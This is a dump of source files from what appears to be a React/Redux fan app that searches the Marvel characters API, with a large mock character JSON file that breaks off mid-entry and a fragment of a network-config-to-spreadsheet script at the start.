nextHopIp._text; //} // var vlanmap = item["VLANMAP"][0]; // console.log(vlanmap) // // for (var i in vlanmap){ // // console.log(vlanmap["attributes"].VLANID) // // // // } } else if (Object.keys(item) == "DEVIP") { // for (var i in item){ // console.log(item[i]) // } // console.log(item["DEVIP"].attributes["IP"]); var devIp = item["DEVIP"][0] var ip = devIp["attributes"].IP console.log(ip) // myarray1.push(ip._text) v1=ip._text; var devIp = item["DEVIP"][1] var ip = devIp["attributes"].IP console.log(ip) // myarray2.push(ip._text) v2=ip._text; } }) console.log(ne1,vi1,) var arrayvar = result arrayvar.push([ne1, vi1,mk1,nh1,v1]) result=arrayvar var arrayvar = result arrayvar.push([ne2,vi2,mk2,nh2,v2]) result=arrayvar console.log(result) const ws = XLSX.utils.aoa_to_sheet(result); const wb = XLSX.utils.book_new(); XLSX.utils.book_append_sheet(wb, ws, "SheetJS"); /* generate XLSX file and send to client */ XLSX.writeFile(wb, "sheetjs.xlsx") next(); }, function(err, files){ if (err) throw err; console.log('finished reading files:',files); }); }) });
1cbd39f61f38c2ff97df839461a047ed9e265811
[ "JavaScript" ]
1
JavaScript
masummillat/bl-noc-vlan
3a292b6c3d721942a6295281719bbe668cf2f6b2
699168ed20ffc980861ad8e86493213e939ddf51
refs/heads/master
<repo_name>ashok997/superfans-united-frontend<file_sep>/src/actions/fetchCharactersFromApi.js export function fetchCharactersFromApi(nameStartsWith) { const REACT_APP_MARVEL_API_KEY = process.env.REACT_APP_MARVEL_API_KEY; const URL = "https://gateway.marvel.com:443/v1/public/characters?" + `nameStartsWith=${nameStartsWith}` + `&apikey=${REACT_APP_MARVEL_API_KEY}`; return fetch(URL).then((response) => response.json()); } <file_sep>/src/reducers/characterReducer.js export default function characterReducer(state = { characters: [] }, action) { switch (action.type) { case "FETCH_CHARACTERS": return { characters: action.payload }; case "SAVE_CHARACTER": return { characters: action.payload }; case "ADD_COMMENT_OR_VOTE": return { ...state, characters: state.characters.map((character) => { if (character.id === action.payload.id) { return action.payload; } else { return character; } }), }; default: return state; } } <file_sep>/src/components/Navigationbar.js import React from "react"; import { BrowserRouter as Router, Route, Link } from "react-router-dom"; import { connect } from "react-redux"; import Navbar from "react-bootstrap/Navbar"; import Alert from "react-bootstrap/Alert"; import { Nav } from "react-bootstrap"; import Logout from "./Logout"; const Navigationbar = ({ currentUser }) => { return ( <> <Navbar bg="dark" className="justify-content-end"> {currentUser ? ( <Nav.Link> <Link to="/">My Characters</Link> </Nav.Link> ) : ( <> <Nav.Link> <Link to="/login">Login</Link> </Nav.Link> <Nav.Link> <Link to="/signup">Sign Up</Link> </Nav.Link> </> )} <Nav.Link> <Link to="/search">Search Characters</Link> </Nav.Link> <Nav.Link> <Link to="/characters">All Characters</Link> </Nav.Link> </Navbar> <Alert variant="info"> <center> {currentUser ? ( <p> Welcome to Superfans United. You are logged in as " {currentUser.username}" </p> ) : ( <> <p>Welcome to Superfans United. </p> <p> Please Login or Sign up to continue </p> </> )} {currentUser ? <Logout /> : ""} </center> </Alert> </> ); }; const mapStateToProps = ({ currentUser }) => { return { currentUser, }; }; export default connect(mapStateToProps)(Navigationbar); <file_sep>/src/containers/UserContainer.js import React, { Component } from "react"; import Form from "react-bootstrap/Form"; import Button from "react-bootstrap/Button"; export default class UserContainer extends Component { render() { return ( <div class="user-login-container"> <Form> <Form.Label>Name</Form.Label> <Form.Control type="text" name="name" placeholder="Name" // value={this.state.name} // onChange={this.handleChange} /> <Form.Label>Email</Form.Label> <Form.Control type="text" name="email" placeholder="Email" // value={this.state.email} // onChange={this.handleChange} /> <Button variant="primary" type="submit"> Submit </Button> </Form> </div> ); } } <file_sep>/src/cards-data.js const characters = { "code": 200, "status": "Ok", "copyright": "© 2020 MARVEL", "attributionText": "Data provided by Marvel. © 2020 MARVEL", "attributionHTML": "<a href=\"http://marvel.com\">Data provided by Marvel. © 2020 MARVEL</a>", "etag": "3db12b8278fb5cef930fad6aa91cb447741e7cd2", "data": { "offset": 0, "limit": 10, "total": 1493, "count": 10, "results": [ { "id": 1011334, "name": "<NAME>", "description": "", "modified": "2014-04-29T14:18:17-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/c/e0/535fecbbb9784", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1011334", "comics": { "available": 12, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011334/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/21366", "name": "Avengers: The Initiative (2007) #14" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/24571", "name": "Avengers: The Initiative (2007) #14 (SPOTLIGHT VARIANT)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/21546", "name": "Avengers: The Initiative (2007) #15" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/21741", "name": "Avengers: The Initiative (2007) #16" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/21975", "name": "Avengers: The Initiative (2007) #17" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/22299", "name": "Avengers: The Initiative (2007) #18" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/22300", "name": "Avengers: The Initiative (2007) #18 (ZOMBIE VARIANT)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/22506", "name": "Avengers: The Initiative (2007) #19" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/8500", "name": "Deadpool (1997) #44" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/10223", "name": "Marvel Premiere (1972) #35" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/10224", "name": "Marvel Premiere (1972) #36" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/10225", "name": "Marvel Premiere (1972) #37" } ], "returned": 12 }, "series": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011334/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/1945", "name": "Avengers: The Initiative (2007 - 2010)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2005", "name": "Deadpool (1997 - 2002)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2045", "name": "Marvel Premiere (1972 - 1981)" } ], "returned": 3 }, "stories": { "available": 21, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011334/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/19947", "name": "Cover #19947", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/19948", "name": "The 3-D Man!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/19949", "name": "Cover #19949", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/19950", "name": "The Devil's Music!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/19951", "name": "Cover #19951", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/19952", "name": "Code-Name: The Cold Warrior!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/47184", "name": "AVENGERS: THE INITIATIVE (2007) #14", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/47185", "name": "Avengers: The Initiative (2007) #14 - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/47498", "name": "AVENGERS: THE INITIATIVE (2007) #15", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/47499", "name": "Avengers: The Initiative (2007) #15 - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/47792", "name": "AVENGERS: THE INITIATIVE (2007) #16", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/47793", "name": "Avengers: The Initiative (2007) #16 - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/48361", "name": "AVENGERS: THE INITIATIVE (2007) #17", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/48362", "name": "Avengers: The Initiative (2007) #17 - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/49103", "name": "AVENGERS: THE INITIATIVE (2007) #18", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/49104", "name": "Avengers: The Initiative (2007) #18 - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/49106", "name": "Avengers: The Initiative (2007) #18, Zombie Variant - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/49888", "name": "AVENGERS: THE INITIATIVE (2007) #19", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/49889", "name": "Avengers: The Initiative (2007) #19 - Int", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/54371", "name": "Avengers: The Initiative (2007) #14, Spotlight Variant - Int", "type": "interiorStory" } ], "returned": 20 }, "events": { "available": 1, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1011334/events", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/events/269", "name": "<NAME>" } ], "returned": 1 }, "urls": [ { "type": "detail", "url": "http://marvel.com/comics/characters/1011334/3-d_man?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/3-D_Man_(Chandler)?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1011334/3-d_man?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1017100, "name": "A-Bomb (HAS)", "description": "<NAME> has been Hulk's best bud since day one, but now he's more than a friend...he's a teammate! Transformed by a Gamma energy explosion, A-Bomb's thick, armored skin is just as strong and powerful as it is blue. And when he curls into action, he uses it like a giant bowling ball of destruction! ", "modified": "2013-09-18T15:54:04-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/3/20/5232158de5b16", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1017100", "comics": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1017100/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40632", "name": "Hulk (2008) #53" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40630", "name": "Hulk (2008) #54" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40628", "name": "Hulk (2008) #55" } ], "returned": 3 }, "series": { "available": 2, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1017100/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/17765", "name": "FREE COMIC BOOK DAY 2013 1 (2013)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/3374", "name": "Hulk (2008 - 2012)" } ], "returned": 2 }, "stories": { "available": 7, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1017100/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92078", "name": "Hulk (2008) #55", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92079", "name": "Interior #92079", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92082", "name": "Hulk (2008) #54", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92083", "name": "Interior #92083", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92086", "name": "Hulk (2008) #53", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92087", "name": "Interior #92087", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/105929", "name": "cover from Free Comic Book Day 2013 (Avengers/Hulk) (2013) #1", "type": "cover" } ], "returned": 7 }, "events": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1017100/events", "items": [], "returned": 0 }, "urls": [ { "type": "detail", "url": "http://marvel.com/comics/characters/1017100/a-bomb_has?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1017100/a-bomb_has?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1009144, "name": "A.I.M.", "description": "AIM is a terrorist organization bent on destroying the world.", "modified": "2013-10-17T14:41:30-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/6/20/52602f21f29ec", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1009144", "comics": { "available": 49, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009144/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/36763", "name": "Ant-Man & the Wasp (2010) #3" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/17553", "name": "Avengers (1998) #67" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/7340", "name": "Avengers (1963) #87" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/4214", "name": "Avengers and Power Pack Assemble! (2006) #2" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/63217", "name": "Avengers and Power Pack (2017) #3" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/63218", "name": "Avengers and Power Pack (2017) #4" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/63219", "name": "Avengers and Power Pack (2017) #5" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/63220", "name": "Avengers and Power Pack (2017) #6" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/64790", "name": "Avengers by <NAME>: The Complete Collection Vol. 2 (Trade Paperback)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/1170", "name": "Avengers Vol. 2: Red Zone (Trade Paperback)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/1214", "name": "Avengers Vol. II: Red Zone (Trade Paperback)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/12787", "name": "Captain America (1998) #28" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/7513", "name": "Captain America (1968) #132" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/7514", "name": "Captain America (1968) #133" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/65466", "name": "Captain America by <NAME>, <NAME> & <NAME> (Hardcover)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/20367", "name": "Defenders (1972) #57" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/31068", "name": "Incredible Hulks (2010) #606 (VARIANT)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/46168", "name": "Indestructible Hulk (2012) #3" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/43944", "name": "Iron Man (2012) #1" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/9544", "name": "Iron Man (1968) #295" } ], "returned": 20 }, "series": { "available": 33, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009144/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/13082", "name": "Ant-Man & the Wasp (2010 - 2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/354", "name": "Avengers (1998 - 2004)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1991", "name": "Avengers (1963 - 1996)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/23123", "name": "Avengers and Power Pack (2017)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1046", "name": "Avengers and Power Pack Assemble! (2006)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/23600", "name": "Avengers by <NAME>: The Complete Collection Vol. 2 (2017)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/227", "name": "Avengers Vol. 2: Red Zone (2003)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/271", "name": "Avengers Vol. II: Red Zone (2003)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1996", "name": "Captain America (1968 - 1996)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1997", "name": "Captain America (1998 - 2002)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/23810", "name": "Captain America by <NAME>, <NAME> & <NAME> (2017)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/3743", "name": "Defenders (1972 - 1986)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/8842", "name": "Incredible Hulks (2010 - 2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/16583", "name": "Indestructible Hulk (2012 - 2014)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/16593", "name": "Iron Man (2012 - 2014)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2029", "name": "Iron Man (1968 - 1996)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/23915", "name": "Iron Man Epic Collection: Doom (2018)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/9718", "name": "Marvel Adventures Super Heroes (2010 - 2012)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1506", "name": "Marvel Masterworks: Captain America Vol. (2005)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/189", "name": "Marvel Masterworks: Captain America Vol. 1 - 2nd Edition (2003)" } ], "returned": 20 }, "stories": { "available": 52, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009144/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/5800", "name": "Avengers and Power Pack Assemble! (2006) #2", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/5801", "name": "2 of 4 - 4XLS", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10253", "name": "When the Unliving Strike", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10255", "name": "Cover #10255", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10256", "name": "The Enemy Within!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10259", "name": "Death Before Dishonor!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10261", "name": "Cover #10261", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/10262", "name": "The End of A.I.M.!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11921", "name": "The Red Skull Lives!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11930", "name": "He Who Holds the Cosmic Cube", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11936", "name": "The Maddening Mystery of the Inconceivable Adaptoid!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11981", "name": "If This Be... Modok", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11984", "name": "A Time to Die -- A Time to Live!", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/11995", "name": "At the Mercy of the Maggia", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/15243", "name": "Look Homeward, Avenger", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/17518", "name": "Captain America (1968) #132", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/17519", "name": "The Fearful Secret of Bucky Barnes", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/17520", "name": "Captain America (1968) #133", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/17521", "name": "Madness In the Slums", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/28233", "name": "<NAME>", "type": "interiorStory" } ], "returned": 20 }, "events": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009144/events", "items": [], "returned": 0 }, "urls": [ { "type": "detail", "url": "http://marvel.com/characters/77/aim.?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "wiki", "url": "http://marvel.com/universe/A.I.M.?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1009144/aim.?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1010699, "name": "<NAME>", "description": "", "modified": "1969-12-31T19:00:00-0500", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/b/40/image_not_available", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1010699", "comics": { "available": 14, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010699/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40776", "name": "Dark Avengers (2012) #177" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40773", "name": "Dark Avengers (2012) #179" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40774", "name": "Dark Avengers (2012) #180" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40778", "name": "Dark Avengers (2012) #181" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40787", "name": "Dark Avengers (2012) #182" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/40786", "name": "Dark Avengers (2012) #183" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/38073", "name": "Hulk (2008) #43" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11910", "name": "Universe X (2000) #6" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11911", "name": "Universe X (2000) #7" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11912", "name": "Universe X (2000) #8" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11913", "name": "Universe X (2000) #9" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11903", "name": "Universe X (2000) #10" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11904", "name": "Universe X (2000) #11" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/11905", "name": "Universe X (2000) #12" } ], "returned": 14 }, "series": { "available": 3, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010699/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/789", "name": "Dark Avengers (2012 - 2013)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/3374", "name": "Hulk (2008 - 2012)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2085", "name": "Universe X (2000 - 2001)" } ], "returned": 3 }, "stories": { "available": 27, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010699/stories", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25634", "name": "Universe X (2000) #10", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25635", "name": "Interior #25635", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25637", "name": "Universe X (2000) #12", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25638", "name": "Interior #25638", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25647", "name": "Universe X (2000) #6", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25648", "name": "Interior #25648", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25649", "name": "Universe X (2000) #7", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25650", "name": "Interior #25650", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25651", "name": "Universe X (2000) #8", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25652", "name": "Interior #25652", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25653", "name": "Universe X (2000) #9", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/25654", "name": "Interior #25654", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/67100", "name": "Universe X (2000) #11", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/89190", "name": "Hulk (2008) #43", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/90002", "name": "Interior #90002", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92370", "name": "Dark Avengers (2012) #179", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92371", "name": "Interior #92371", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92372", "name": "Dark Avengers (2012) #180", "type": "cover" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92373", "name": "Interior #92373", "type": "interiorStory" }, { "resourceURI": "http://gateway.marvel.com/v1/public/stories/92376", "name": "Dark Avengers (2012) #177", "type": "cover" } ], "returned": 20 }, "events": { "available": 0, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1010699/events", "items": [], "returned": 0 }, "urls": [ { "type": "detail", "url": "http://marvel.com/characters/2809/aaron_stack?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" }, { "type": "comiclink", "url": "http://marvel.com/comics/characters/1010699/aaron_stack?utm_campaign=apiRef&utm_source=ee02c6187f39e0e74f486af6be409b19" } ] }, { "id": 1009146, "name": "Abomination (<NAME>)", "description": "Formerly known as <NAME>, a spy of Soviet Yugoslavian origin working for the KGB, the Abomination gained his powers after receiving a dose of gamma radiation similar to that which transformed Bruce Banner into the incredible Hulk.", "modified": "2012-03-20T12:32:12-0400", "thumbnail": { "path": "http://i.annihil.us/u/prod/marvel/i/mg/9/50/4ce18691cbf04", "extension": "jpg" }, "resourceURI": "http://gateway.marvel.com/v1/public/characters/1009146", "comics": { "available": 53, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009146/comics", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/comics/17547", "name": "Avengers (1998) #61" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/17548", "name": "Avengers (1998) #62" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/1098", "name": "Avengers Vol. 1: World Trust (Trade Paperback)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/8557", "name": "Earth X (1999) #7" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/4241", "name": "Earth X (New (Trade Paperback)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/20863", "name": "Hulk (2008) #3" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/2499", "name": "Hulk: Destruction (2005) #4" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14424", "name": "Hulk (1999) #24" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14425", "name": "Hulk (1999) #25" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14428", "name": "Hulk (1999) #28" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14450", "name": "Hulk (1999) #50" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14451", "name": "Hulk (1999) #51" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14453", "name": "Hulk (1999) #53" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/14454", "name": "Hulk (1999) #54" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/8948", "name": "Incredible Hulk (1962) #137" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/8982", "name": "Incredible Hulk (1962) #171" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/9005", "name": "Incredible Hulk (1962) #194" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/9006", "name": "Incredible Hulk (1962) #195" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/9007", "name": "<NAME> (1962) #196" }, { "resourceURI": "http://gateway.marvel.com/v1/public/comics/9011", "name": "<NAME> (1962) #200" } ], "returned": 20 }, "series": { "available": 26, "collectionURI": "http://gateway.marvel.com/v1/public/characters/1009146/series", "items": [ { "resourceURI": "http://gateway.marvel.com/v1/public/series/354", "name": "Avengers (1998 - 2004)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/158", "name": "Avengers Vol. 1: World Trust (2003)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/378", "name": "Earth X (1999)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/1806", "name": "Earth X (New (2006)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/3374", "name": "Hulk (2008 - 2012)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/465", "name": "Hulk (1999 - 2008)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/924", "name": "Hulk: Destruction (2005)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2021", "name": "Incredible Hulk (1962 - 1999)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2983", "name": "Incredible Hulk Annual (1976 - 1994)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/22424", "name": "Incredible Hulk Epic Collection: The Hulk Must Die (2017)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/212", "name": "Incredible Hulk Vol. 4: Abominable (2003)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/244", "name": "Incredible Hulk Vol. IV: Abominable (2003)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/8842", "name": "Incredible Hulks (2010 - 2011)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2572", "name": "Iron Man (1998 - 2004)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/977", "name": "Irredeemable Ant-Man (2006 - 2007)" }, { "resourceURI": "http://gateway.marvel.com/v1/public/series/2423", "name": "Irredeemable Ant-Man Vol. 1: Low-Life (2007)" }, { "resourceURI": 